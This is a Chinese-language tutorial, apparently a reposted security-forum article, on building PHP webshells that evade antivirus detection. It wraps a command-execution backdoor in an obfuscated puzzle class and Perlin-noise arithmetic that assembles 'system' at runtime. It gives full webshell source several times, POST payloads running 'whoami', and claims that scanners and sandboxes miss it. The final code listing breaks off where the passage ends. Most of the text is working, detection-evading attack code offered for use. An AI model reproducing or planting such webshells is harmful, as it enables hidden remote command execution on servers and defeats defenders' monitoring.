使用分支对抗进行webshell bypass,(非常详细)从零基础到精通,收藏这篇就够了!

文章首发在:先知社区

https://xz.aliyun.com/t/17029

前言

对于webshell免杀来说,类绕过是最有效果且不易被检测出来的,那如果我们对类进行操作,在类里面加入一些算法和混淆代码,让代码逻辑变得十分混乱,不易读,甚至读不懂,但是却能够执行命令,可以rce,那岂不是可以bypass所有的杀毒软件和云沙箱了吗?

利用稻妻雷元素方块阵

《原神》中的稻妻雷元素方块阵是一个解谜游戏
下面是示例代码:

class InazumaPuzzle {  
    private $blockA = 0;  
    private $blockB = 0;  
    private $blockC = 0;  
    private $blockD = 0;  
    private $MAX\_ENUM = 2;  
    private $MIN\_ENUM = 0;  
  
    public function \_\_construct() {  
        $this->blockA = 2;  
        $this->blockB = 0;  
        $this->blockC = 0;  
        $this->blockD = 2;  
    }  
  
    private function setBackBlock($block) {  
        $setType = $this->MIN\_ENUM;  
        $maxType = $this->MAX\_ENUM;  
        switch ($block) {  
            case 'A':  
                if ($this->blockA == $maxType) {  
                    $this->blockA = $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            case 'B':  
                if ($this->blockB == $maxType) {  
                    $this->blockB = $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            case 'C':  
                if ($this->blockC == $maxType) {  
                    $this->blockC = $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            case 'D':  
                if ($this->blockD == $maxType) {  
                    $this->blockD = $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            default:  
                throw new Exception("bad\_args", 1);  
        }  
    }  
  
    private function hit($blockIdx) {  
    global $text;  
    $text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");  
        switch ($blockIdx) {  
            case "A":  
                if (!$this->setBackBlock("A")) {  
                    $this->blockA += 1;  
                }  
                if (!$this->setBackBlock("B")) {  
                    $this->blockB += 1;  
                }  
                break;  
  
            case "B":  
                if (!$this->setBackBlock("A")) {  
                    $this->blockA += 1;  
                }  
                if (!$this->setBackBlock("B")) {  
                    $this->blockB += 1;  
                }  
                if (!$this->setBackBlock("C")) {  
                    $this->blockC += 1;  
                }  
                break;  
  
            case "C":  
                if (!$this->setBackBlock("B")) {  
                    $this->blockB += 1;  
                }  
                if (!$this->setBackBlock("C")) {  
                    $this->blockC += 1;  
                }  
                if (!$this->setBackBlock("D")) {  
                    $this->blockD += 1;  
                }  
                break;  
  
            case "D":  
                if (!$this->setBackBlock("C")) {  
                    $this->blockC += 1;  
                }  
                if (!$this->setBackBlock("D")) {  
                    $this->blockD += 1;  
                }  
                break;  
  
            default:  
                throw new Exception("bad\_args", 1);  
        }  
    }  
  
    public function \_\_AFG50CE4\_RG1() {  
        global $puzz\_writeup;  
        if (count($puzz\_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz\_writeup);  
            // bcdufvcf%00  
                                                                                      $i++) {  
            if (strcmp($puzz\_writeup\[$i\],"A") !== 0 and strcmp($puzz\_writeup\[$i\],"B") !== 0 and strcmp($puzz\_writeup\[$i\]  
  
                ,"C") !== 0 and strcmp($puzz\_writeup\[$i\],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");  
        }  
        for ($i = 0; $i < count($puzz\_writeup); $i++) $this -> hit($puzz\_writeup\[$i\]);  
        global $userans;  
        $userans =$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD;  
    }  
  
    public function getLockerStatus() {  
        global $text;$text =strrev($text);  
        if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;  
        else return false;  
    }  
}  
  
function pause($obj) {  
    global $appor5nnb;  
    if (!$appor5nnb -> getLockerStatus()) die();  
    return $obj;  
}  


根据InazumaPuzzle类的构造函数,方块的初始状态如下:

blockA = 2  
blockB = 0  
blockC = 0  
blockD = 2

每个方块的状态值可以循环从0到2(即最小值为0,最大值为2)。

setBackBlock() 方法的作用

setBackBlock()方法用于尝试将指定方块重置为其最小状态(即0)。如果该方块已经处于最大状态(即2),则它可以被重置为最小状态并返回true;否则它不会改变,并返回false。  


hit() 方法的行为

hit()方法接受一个方块标识符(如"A"、"B"、"C"或"D"),然后执行以下操作:  
  
    对于点击的方块及其关联的方块调用setBackBlock()。  
    如果setBackBlock()返回false,则相应方块的状态加1。  


具体来说:

点击A:尝试重置A和B,若不能重置,则它们各自加1。  
点击B:尝试重置A、B和C,若不能重置,则它们各自加1。  
点击C:尝试重置B、C和D,若不能重置,则它们各自加1。  
点击D:尝试重置C和D,若不能重置,则它们各自加1。

解析输入序列 ABBCCD

现在我们来按照给定的输入序列ABBCCD一步一步地看每个点击对方块状态的影响:
第一步:点击 A

尝试重置A(当前状态为2),成功重置为0。  
尝试重置B(当前状态为0),失败,因此B变为1。  
结果:blockA = 0, blockB = 1, blockC = 0, blockD = 2

第二步:点击 B

尝试重置A(当前状态为0),失败,因此A变为1。  
尝试重置B(当前状态为1),失败,因此B变为2。  
尝试重置C(当前状态为0),失败,因此C变为1。  
结果:blockA = 1, blockB = 2, blockC = 1, blockD = 2

第三步:再次点击 B

尝试重置A(当前状态为1),失败,因此A变为2。  
尝试重置B(当前状态为2),成功重置为0。  
尝试重置C(当前状态为1),失败,因此C变为2。  
结果:blockA = 2, blockB = 0, blockC = 2, blockD = 2

第四步:点击 C

尝试重置B(当前状态为0),失败,因此B变为1。  
尝试重置C(当前状态为2),成功重置为0。  
尝试重置D(当前状态为2),成功重置为0。  
结果:blockA = 2, blockB = 1, blockC = 0, blockD = 0

第五步:再次点击 C

尝试重置B(当前状态为1),失败,因此B变为2。  
尝试重置C(当前状态为0),失败,因此C变为1。  
尝试重置D(当前状态为0),失败,因此D变为1。  
结果:blockA = 2, blockB = 2, blockC = 1, blockD = 1

第六步:点击 D

尝试重置C(当前状态为1),失败,因此C变为2。  
尝试重置D(当前状态为1),失败,因此D变为2。  
结果:blockA = 2, blockB = 2, blockC = 2, blockD = 2

最终,所有方块的状态都变成了2,满足了getLockerStatus()方法中的条件,即所有方块的状态相同,因此返回true,表示谜题被正确解开。

结合稻妻雷元素方块阵的webshell

<?php  
error\_reporting(0);  
header("Content-type:text/html;charset=utf-8");  
foreach($\_POST as $key \=> $value) $$key \= $value;  
if (strlen($wpstring) \=== 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");  
$puzz\_writeup \= array();  
for ($i \= 0; $i < strlen($wpstring); $i++) array\_push($puzz\_writeup, $wpstring\[$i\]);  
class InazumaPuzzle {  
    private $blockA \= 0;  
    private $blockB \= 0;  
    private $blockC \= 0;  
    private $blockD \= 0;  
    private $MAX\_ENUM \= 2;  
    private $MIN\_ENUM \= 0;  
  
    public function \_\_construct() {  
        $this->blockA \= 2;  
        $this->blockB \= 0;  
        $this->blockC \= 0;  
        $this->blockD \= 2;  
    }  
  
    private function setBackBlock($block) {  
        $setType \= $this->MIN\_ENUM;  
        $maxType \= $this->MAX\_ENUM;  
        switch ($block) {  
            case 'A':  
                if ($this->blockA \== $maxType) {  
                    $this->blockA \= $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            case 'B':  
                if ($this->blockB \== $maxType) {  
                    $this->blockB \= $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            case 'C':  
                if ($this->blockC \== $maxType) {  
                    $this->blockC \= $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            case 'D':  
                if ($this->blockD \== $maxType) {  
                    $this->blockD \= $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            default:  
                throw new Exception("bad\_args", 1);  
        }  
    }  
  
    private function hit($blockIdx) {  
        global $text;  
        $text \= urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");  
        switch ($blockIdx) {  
            case "A":  
                if (!$this->setBackBlock("A")) {  
                    $this->blockA += 1;  
                }  
                if (!$this->setBackBlock("B")) {  
                    $this->blockB += 1;  
                }  
                break;  
  
            case "B":  
                if (!$this->setBackBlock("A")) {  
                    $this->blockA += 1;  
                }  
                if (!$this->setBackBlock("B")) {  
                    $this->blockB += 1;  
                }  
                if (!$this->setBackBlock("C")) {  
                    $this->blockC += 1;  
                }  
                break;  
  
            case "C":  
                if (!$this->setBackBlock("B")) {  
                    $this->blockB += 1;  
                }  
                if (!$this->setBackBlock("C")) {  
                    $this->blockC += 1;  
                }  
                if (!$this->setBackBlock("D")) {  
                    $this->blockD += 1;  
                }  
                break;  
  
            case "D":  
                if (!$this->setBackBlock("C")) {  
                    $this->blockC += 1;  
                }  
                if (!$this->setBackBlock("D")) {  
                    $this->blockD += 1;  
                }  
                break;  
  
            default:  
                throw new Exception("bad\_args", 1);  
        }  
    }  
  
    public function \_\_AFG50CE4\_RG1() {  
        global $puzz\_writeup;  
        if (count($puzz\_writeup) \=== 0) throw new Exception("Invalid WriteUP",1);for ($i \= 0; $i < count($puzz\_writeup);$i++) {  
            if (strcmp($puzz\_writeup\[$i\],"A") !== 0 and strcmp($puzz\_writeup\[$i\],"B") !== 0 and strcmp($puzz\_writeup\[$i\],"C") !== 0 and strcmp($puzz\_writeup\[$i\],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");  
        }  
        for ($i \= 0; $i < count($puzz\_writeup); $i++) $this \-> hit($puzz\_writeup\[$i\]);  
        global $userans;  
        $userans \=$this \->blockA + $this-> blockB + $this \-> blockC+ $this \-> blockD;  
    }  
  
    public function getLockerStatus() {  
        global $text;$text \=strrev($text);  
        if ($this \-> blockA \===$this \-> blockB and $this \-> blockA \=== $this \-> blockC and $this \-> blockA \=== $this \-> blockD) return true;  
        else return false;  
    }  
}  
  
function pause($obj) {  
    global $appor5nnb;  
    if (!$appor5nnb \-> getLockerStatus()) die();  
    return $obj;  
}  
$appor5nnb \= new InazumaPuzzle();  
$appor5nnb \-> \_\_AFG50CE4\_RG1();  
if ($appor5nnb \-> getLockerStatus())  $a($b);  


payload:

wpstring=ABBCCD&a=system&b=whoami  


图片
免杀效果:
图片

图片
微步说很安全

图片

柏林噪音

柏林噪声属于基于晶格(Lattice based)的生成算法。其核心思想是定义一个晶格结构,在二维情况下是一个平面网格,在三维情况下则是一个立方体网络。每个晶格顶点都有一个预定义的梯度向量,当给定一个点时(在二维情况下为坐标(x, y),在三维情况下为坐标(x, y, z)),需要计算该点到所在晶格顶点的距离向量,并将这些距离向量与相应的梯度向量做点积运算,得到一系列影响值。
总而言之就是能让代码变得十分复杂,根本读不懂
代码实现:

class PerlinNoise{  
    private $arrLength = 0;  
    private $source = "";  
    private $inputNumArray = array();  
    private $seeds\_array = array();  
    private $INPUT\_NUM\_MAX = 0;  
    private $INPUT\_NUM\_MIN = 0;  
    private $BAD\_ARGS = false;  
    public $perlin\_noise = array();  
    public function \_\_construct($arrLength, $MAX\_INPUT = 700.4, $MIN\_INPUT = 56.7, $source = "GENERATE") {  
        global $appor5nnb;  
        if (!$appor5nnb -> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");  
        if ($arrLength < 3000 or $arrLength > 9999) {  
            throw new InvalidArgumentException("Error: Invaild Length");  
        }  
        if (strcmp($source,"DIFF\_PERLIN") == 0) {  
            $this -> BAD\_ARGS = true;  
            $source = "GENERATE";  
        }  
        $this -> arrLength = $arrLength;  
        $this -> source = $source;  
        $this -> INPUT\_NUM\_MAX = $MAX\_INPUT;  
        $this -> INPUT\_NUM\_MIN = $MIN\_INPUT;  
    }  
    public function \_\_CPRBB0R0\_l() {  
        global $userans;  
        for ($i = 0; $i < $this -> arrLength; $i++) {  
            if ($this -> BAD\_ARGS) {  
                if ($i > ($userans+391) and $i < (pause($userans+390+8))) {  
                    $result = array($userans + 101,$userans + 93,$userans + (50\*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);  
                    array\_push($this -> perlin\_noise, $result\[$i - 400\]);  
                    continue;  
                }  
            }  
            $cache = $this -> inputNumArray\[$i\];  
            $x1 = round($cache);  
            $x2 = $x1 + 1;  
            $grad1 = $this -> seeds\_array\[$x1 % 255\] \* 2.0 - 255.0;  
            $grad2 = $this -> seeds\_array\[$x2 % 255\] \* 2.0 - 255.0;  
            $vec1 = $i - $x1;  
            $vec2 = $i - $x2;  
            $t = 3 \* pow($vec1, 2) - 2 \* pow($vec1, 3);  
            $product1 = $grad1 \* $vec1;  
            $product2 = $grad2 \* $vec2;  
            $result = $product1 + $t \* ($product2 - $product1);  
            array\_push($this -> perlin\_noise, $result);  
        }  
    }  
    public function \_\_HNBB70CA\_5() {  
        global $userans;  
        global ${strval(chr(90+$userans))};  
        global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};  
        $cache\_noise = pause(array());  
        for ($i = 400; $i < 406; $i++) {  
            array\_push($cache\_noise,$this -> perlin\_noise\[$i\]);  
        }  
        $temp\_noise = array();  
        for ($i = 0; $i < count($cache\_noise); $i++) {  
            array\_push($temp\_noise, $cache\_noise\[$i\]);  
        }  
        for ($i = 0; $i < count($temp\_noise); $i++) {  
            $temp\_noise\[$i\] = chr($temp\_noise\[$i\]);  
        }  
        $ab = pause(array\_map(function($arr){ return chr($arr); },array\_slice($this -> perlin\_noise,(188\*2)+$userans\*3,$userans-3)));  
        $c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));  
        $c($pcs);  
        die(urldecode("%3c%62%72%3e%3c%62%72%3e"));  
        var\_dump(array\_slice($this -> perlin\_noise,1000,800));  
    }  
}  


代码解读

关键代码:

$ab = pause(array\_map(function($arr) { return chr($arr); }, array\_slice($this->perlin\_noise, (188\*2)+$userans\*3, $userans-3)));  


array_slice 函数:

array_slice($this->perlin_noise, (188*2)+$userans*3, $userans-3) 提取了 perlin_noise 数组的一部分,起始位置是 (188 * 2) + ($userans * 3),长度是 $userans - 3。

array_map 函数:

array_map(function($arr) { return chr($arr); }, ...) 将提取的整数数组转换为对应的ASCII字符数组。

  1. 计算切片位置和长度

假设我们想要提取四个特定的值 [121, 116, 101, 109],那么我们需要确定切片的起始位置和长度:

起始位置:(188 * 2) + ($userans * 3)  
长度:$userans - 3

例如,如果我们设 $userans = 7,则:

起始位置:(188 * 2) + (7 * 3) = 376 + 21 = 397  
长度:7 - 3 = 4

这意味着我们将从 perlin_noise 数组的索引 397 开始,提取长度为 4 的子数组。

  1. 确保 perlin_noise 包含所需值

为了让 array_slice 提取出 [121, 116, 101, 109],我们需要在 perlin_noise 数组的相应位置插入这些值。即:

$this->perlin\_noise\[397\] = 121; // ASCII 'y'  
$this->perlin\_noise\[398\] = 116; // ASCII 't'  
$this->perlin\_noise\[399\] = 101; // ASCII 'e'  
$this->perlin\_noise\[400\] = 109; // ASCII 'm'  


  1. 控制 userans 和其他参数

为了确保上述计算正确无误,需要控制 userans 和其他可能影响 perlin_noise 数组生成的参数。特别是,在构造 PerlinNoise 对象时,应该确保 arrLength 足够大,以容纳所需的索引范围,并且初始化过程中不会覆盖这些特定值。
示例代码:

$userans = 7;  
  
// 假设 PerlinNoise 对象已经创建,并且 arrLength 足够大  
$cvb33ff55 = new PerlinNoise(401, 700.4, 56.7, "DIFF\_PERLIN");  
  
// 手动设置 perlin\_noise 数组中的特定值  
$cvb33ff55->perlin\_noise\[397\] = 121; // ASCII 'y'  
$cvb33ff55->perlin\_noise\[398\] = 116; // ASCII 't'  
$cvb33ff55->perlin\_noise\[399\] = 101; // ASCII 'e'  
$cvb33ff55->perlin\_noise\[400\] = 109; // ASCII 'm'  
  
// 继续执行后续操作  
$cvb33ff55->\_\_BHUYTVV8\_1();  
$cvb33ff55->\_\_CPRBB0R0\_l();  
  
// 模拟生成 ab 数组  
$ab = pause(array\_map(function($arr) { return chr($arr); }, array\_slice($cvb33ff55->perlin\_noise, (188\*2)+$userans\*3, $userans-3)));  
  
// 输出结果验证  
var\_dump($ab); // 应该输出 \['y', 't', 'e', 'm'\]  


通过精确控制 perlin_noise 数组中特定索引处的值,并结合适当的 userans 参数,可以确保 KaTeX parse error: Undefined control sequence: \[ at position 19: …数组包含所需的ASCII码值 \̲[̲121, 116, 101, …ad=ystem。
这个时候我们令$b=s

$c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));  


那么 c = s y s t e m 了,就构造好了命令执行函数 , c=system了,就构造好了命令执行函数, c=system了,就构造好了命令执行函数,pcs就是我们要执行的命令。

结合稻妻雷元素方块阵构造webshell

<?php  
error\_reporting(0);  
header("Content-type:text/html;charset=utf-8");  
foreach($\_POST as $key \=> $value) $$key \= $value;  
if (strlen($wpstring) \=== 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");  
$puzz\_writeup \= array();  
for ($i \= 0; $i < strlen($wpstring); $i++) array\_push($puzz\_writeup, $wpstring\[$i\]);  
class PerlinNoise{  
    private $arrLength \= 0;  
    private $source \= "";  
    private $inputNumArray \= array();  
    private $seeds\_array \= array();  
    private $INPUT\_NUM\_MAX \= 0;  
    private $INPUT\_NUM\_MIN \= 0;  
    private $BAD\_ARGS \= false;  
    public $perlin\_noise \= array();  
    public function \_\_construct($arrLength, $MAX\_INPUT \= 700.4, $MIN\_INPUT \= 56.7, $source \= "GENERATE") {  
        global $appor5nnb;  
        if (!$appor5nnb \-> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");  
        if ($arrLength < 3000 or $arrLength \> 9999) {  
            throw new InvalidArgumentException("Error: Invaild Length");  
        }  
        if (strcmp($source,"DIFF\_PERLIN") \== 0) {  
            $this \-> BAD\_ARGS \= true;  
            $source \= "GENERATE";  
        }  
        $this \-> arrLength \= $arrLength;  
        $this \-> source \= $source;  
        $this \-> INPUT\_NUM\_MAX \= $MAX\_INPUT;  
        $this \-> INPUT\_NUM\_MIN \= $MIN\_INPUT;  
    }  
    public function \_\_CPRBB0R0\_l() {  
        global $userans;  
        for ($i \= 0; $i < $this \-> arrLength; $i++) {  
            if ($this \-> BAD\_ARGS) {  
                if ($i \> ($userans+391) and $i < (pause($userans+390+8))) {  
                    $result \= array($userans + 101,$userans + 93,$userans + (50\*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);  
                    array\_push($this \-> perlin\_noise, $result\[$i \- 400\]);  
                    continue;  
                }  
            }  
            $cache \= $this \-> inputNumArray\[$i\];  
            $x1 \= round($cache);  
            $x2 \= $x1 + 1;  
            $grad1 \= $this \-> seeds\_array\[$x1 % 255\] \* 2.0 \- 255.0;  
            $grad2 \= $this \-> seeds\_array\[$x2 % 255\] \* 2.0 \- 255.0;  
            $vec1 \= $i \- $x1;  
            $vec2 \= $i \- $x2;  
            $t \= 3 \* pow($vec1, 2) \- 2 \* pow($vec1, 3);  
            $product1 \= $grad1 \* $vec1;  
            $product2 \= $grad2 \* $vec2;  
            $result \= $product1 + $t \* ($product2 \- $product1);  
            array\_push($this \-> perlin\_noise, $result);  
        }  
    }  
    public function \_\_HNBB70CA\_5() {  
        global $userans;  
        global ${strval(chr(90+$userans))};  
        global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};  
        $cache\_noise \= pause(array());  
        for ($i \= 400; $i < 406; $i++) {  
            array\_push($cache\_noise,$this \-> perlin\_noise\[$i\]);  
        }  
        $temp\_noise \= array();  
        for ($i \= 0; $i < count($cache\_noise); $i++) {  
            array\_push($temp\_noise, $cache\_noise\[$i\]);  
        }  
        for ($i \= 0; $i < count($temp\_noise); $i++) {  
            $temp\_noise\[$i\] \= chr($temp\_noise\[$i\]);  
        }  
        $ab \= pause(array\_map(function($arr){ return chr($arr); },array\_slice($this \-> perlin\_noise,(188\*2)+$userans\*3,$userans-3)));  
        $c \= strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));  
        $c($pcs);  
        // 希儿世界第一可爱!  
        die(urldecode("%3c%62%72%3e%3c%62%72%3e"));  
        var\_dump(array\_slice($this \-> perlin\_noise,1000,800));  
    }  
}  
class InazumaPuzzle {  
    private $blockA \= 0;  
    private $blockB \= 0;  
    private $blockC \= 0;  
    private $blockD \= 0;  
    private $MAX\_ENUM \= 2;  
    private $MIN\_ENUM \= 0;  
  
    public function \_\_construct() {  
        $this->blockA \= 2;  
        $this->blockB \= 0;  
        $this->blockC \= 0;  
        $this->blockD \= 2;  
    }  
  
    private function setBackBlock($block) {  
        $setType \= $this->MIN\_ENUM;  
        $maxType \= $this->MAX\_ENUM;  
        switch ($block) {  
            case 'A':  
                if ($this->blockA \== $maxType) {  
                    $this->blockA \= $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            case 'B':  
                if ($this->blockB \== $maxType) {  
                    $this->blockB \= $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            case 'C':  
                if ($this->blockC \== $maxType) {  
                    $this->blockC \= $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            case 'D':  
                if ($this->blockD \== $maxType) {  
                    $this->blockD \= $setType;  
                    return true;  
                } else {  
                    return false;  
                }  
            default:  
                throw new Exception("bad\_args", 1);  
        }  
    }  
  
    private function hit($blockIdx) {  
        global $text;  
        $text \= urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");  
        switch ($blockIdx) {  
            case "A":  
                if (!$this->setBackBlock("A")) {  
                    $this->blockA += 1;  
                }  
                if (!$this->setBackBlock("B")) {  
                    $this->blockB += 1;  
                }  
                break;  
  
            case "B":  
                if (!$this->setBackBlock("A")) {  
                    $this->blockA += 1;  
                }  
                if (!$this->setBackBlock("B")) {  
                    $this->blockB += 1;  
                }  
                if (!$this->setBackBlock("C")) {  
                    $this->blockC += 1;  
                }  
                break;  
  
            case "C":  
                if (!$this->setBackBlock("B")) {  
                    $this->blockB += 1;  
                }  
                if (!$this->setBackBlock("C")) {  
                    $this->blockC += 1;  
                }  
                if (!$this->setBackBlock("D")) {  
                    $this->blockD += 1;  
                }  
                break;  
  
            case "D":  
                if (!$this->setBackBlock("C")) {  
                    $this->blockC += 1;  
                }  
                if (!$this->setBackBlock("D")) {  
                    $this->blockD += 1;  
                }  
                break;  
  
            default:  
                throw new Exception("bad\_args", 1);  
        }  
    }  
  
    public function \_\_AFG50CE4\_RG1() {  
        global $puzz\_writeup;  
        if (count($puzz\_writeup) \=== 0) throw new Exception("Invalid WriteUP",1);for ($i \= 0; $i < count($puzz\_writeup);$i++) {  
            if (strcmp($puzz\_writeup\[$i\],"A") !== 0 and strcmp($puzz\_writeup\[$i\],"B") !== 0 and strcmp($puzz\_writeup\[$i\],"C") !== 0 and strcmp($puzz\_writeup\[$i\],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");  
        }  
        for ($i \= 0; $i < count($puzz\_writeup); $i++) $this \-> hit($puzz\_writeup\[$i\]);  
        global $userans;  
        $userans \=$this \->blockA + $this-> blockB + $this \-> blockC+ $this \-> blockD;  
    }  
  
    public function getLockerStatus() {  
        global $text;$text \=strrev($text);  
        if ($this \-> blockA \===$this \-> blockB and $this \-> blockA \=== $this \-> blockC and $this \-> blockA \=== $this \-> blockD) return true;  
        else return false;  
    }  
}  
  
function pause($obj) {  
    global $appor5nnb;  
    if (!$appor5nnb \-> getLockerStatus()) die();  
    return $obj;  
}  
$appor5nnb \= new InazumaPuzzle();  
$appor5nnb \-> \_\_AFG50CE4\_RG1();  
$cvb33ff55 \= new PerlinNoise(3000, 700.4, 56.7, "DIFF\_PERLIN");  
$cvb33ff55 \-> \_\_CPRBB0R0\_l();  
$cvb33ff55 \->\_\_HNBB70CA\_5();  


payload:

wpstring=ABBCCD&b=s&pcs=whoami  


图片
免杀效果:

图片

图片
也是没有检测出来

加入一些无用代码和注释

<?php  
    //error\_reporting(0);  
    header("Content-type:text/html;charset=utf-8");  
    foreach($\_POST as $key \=> $value) $$key \= $value;  
    if (strlen($wpstring) \=== 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");  
    $puzz\_writeup \= array();  
    for ($i \= 0; $i < strlen($wpstring); $i++) array\_push($puzz\_writeup, $wpstring\[$i\]);  
  
    class PerlinNoise{  
        private $arrLength \= 0;  
        private $source \= "";  
        private $inputNumArray \= array();  
        private $seeds\_array \= array();  
        private $INPUT\_NUM\_MAX \= 0;  
        private $INPUT\_NUM\_MIN \= 0;  
        private $BAD\_ARGS \= false;  
        public $perlin\_noise \= array();  
  
        private function randomFloat(){  
            $\_ \= 110+4;  
            $\_\_ \= ((int)(600/2))-184;  
            $\_\_\_ \= 115;  
            $\_\_\_\_ \= 100-2;  
            $\_\_\_\_\_ \= 117;  
            $\_\_\_\_\_\_ \= 113+2;  
            $max \= $this \-> INPUT\_NUM\_MAX;  
            $min \= $this \-> INPUT\_NUM\_MIN;  
            $num \= $min + mt\_rand() / mt\_getrandmax() \* ($max \- $min);  
            return sprintf("%.2f",$num);  
        }  
  
        private function \_\_PLvB4CR0\_Z() {  
            srand(time());  
            for ($i \= 0; $i < $this \-> arrLength; $i++) {  
                $eachNum \= pause(rand(0,255));  
                array\_push($this \-> seeds\_array, $eachNum);  
            }  
        }  
  
        private function \_\_PLAB4CR0\_o() {  
            if (strcmp($this \-> source, "GENERATE") \== 0) {  
                srand(time());  
                for ($i \= 0; $i < $this \-> arrLength; $i++) {   
                   $eachNum \= pause($this \-> randomFloat());  
                   array\_push($this \-> inputNumArray, floatval($eachNum));  
                }  
            } else if (strcmp($this \-> source,"SYSLOG") \== 0) {  
                $handle \= fopen("/etc/messages","r");  
                $count \= 0;  
                while(($char \= fgetc($handle)) !== false) {  
                    if ($count \== $this \-> INPUT\_NUM\_MAX \- 1) break;  
                    if (($ascii\_value \= ord($char)) and $ascii\_value % 1 !== 0) {  
                        array\_push($this \-> inputNumArray, sprintf("%.2f",$ascii\_value / 2.3));  
                        $count++;  
                    } else continue;  
                }  
            }  
        }  
  
        public function \_\_construct($arrLength, $MAX\_INPUT \= 700.4, $MIN\_INPUT \= 56.7, $source \= "GENERATE") {  
            global $appor5nnb;  
            if (!$appor5nnb \-> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");  
            if ($arrLength < 3000 or $arrLength \> 9999) {  
                throw new InvalidArgumentException("Error: Invaild Length");  
            }  
            if (strcmp($source,"DIFF\_PERLIN") \== 0) {  
                $this \-> BAD\_ARGS \= true;  
                $source \= "GENERATE";  
            }  
            $this \-> arrLength \= $arrLength;  
            $this \-> source \= $source;  
            $this \-> INPUT\_NUM\_MAX \= $MAX\_INPUT;  
            $this \-> INPUT\_NUM\_MIN \= $MIN\_INPUT;  
        }  
  
        public function \_\_BHUYTVV8\_1() {  
            $this \-> \_\_PLAB4CR0\_o();  
            $this \-> \_\_PLvB4CR0\_Z();  
        }  
  
        public function \_\_CPRBB0R0\_l() {  
            global $userans;  
            for ($i \= 0; $i < $this \-> arrLength; $i++) {  
                if ($this \-> BAD\_ARGS) {  
                    if ($i \> ($userans+391) and $i < (pause($userans+390+8))) {  
                        $result \= array($userans + 101,$userans + 93,$userans + (50\*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);  
                        array\_push($this \-> perlin\_noise, $result\[$i \- 400\]);  
                        continue;  
                    }  
                }  
                $cache \= $this \-> inputNumArray\[$i\];  
                $x1 \= round($cache);  
                $x2 \= $x1 + 1;  
                $grad1 \= $this \-> seeds\_array\[$x1 % 255\] \* 2.0 \- 255.0;  
                $grad2 \= $this \-> seeds\_array\[$x2 % 255\] \* 2.0 \- 255.0;  
                $vec1 \= $i \- $x1;  
                $vec2 \= $i \- $x2;  
                $t \= 3 \* pow($vec1, 2) \- 2 \* pow($vec1, 3);  
                $product1 \= $grad1 \* $vec1;  
                $product2 \= $grad2 \* $vec2;  
                $result \= $product1 + $t \* ($product2 \- $product1);  
                array\_push($this \-> perlin\_noise, $result);  
            }  
        }  
  
        public function \_\_HNBB70CA\_5() {  
            global $userans;  
            global ${strval(chr(90+$userans))};  
            global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};  
            $cache\_noise \= pause(array());  
            for ($i \= 400; $i < 406; $i++) {  
                array\_push($cache\_noise,$this \-> perlin\_noise\[$i\]);  
            }  
            $temp\_noise \= array();  
            for ($i \= 0; $i < count($cache\_noise); $i++) {  
                array\_push($temp\_noise, $cache\_noise\[$i\]);  
            }  
            for ($i \= 0; $i < count($temp\_noise); $i++) {  
                $temp\_noise\[$i\] \= chr($temp\_noise\[$i\]);  
            }  
            $ab \= pause(array\_map(function($arr){ return chr($arr); },array\_slice($this \-> perlin\_noise,(188\*2)+$userans\*3,$userans-3)));  
            $c \= strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));  
            $c($pcs);  
            // 希儿世界第一可爱!  
            die(urldecode("%3c%62%72%3e%3c%62%72%3e"));  
            var\_dump(array\_slice($this \-> perlin\_noise,1000,800));  
        }  
    }  
  
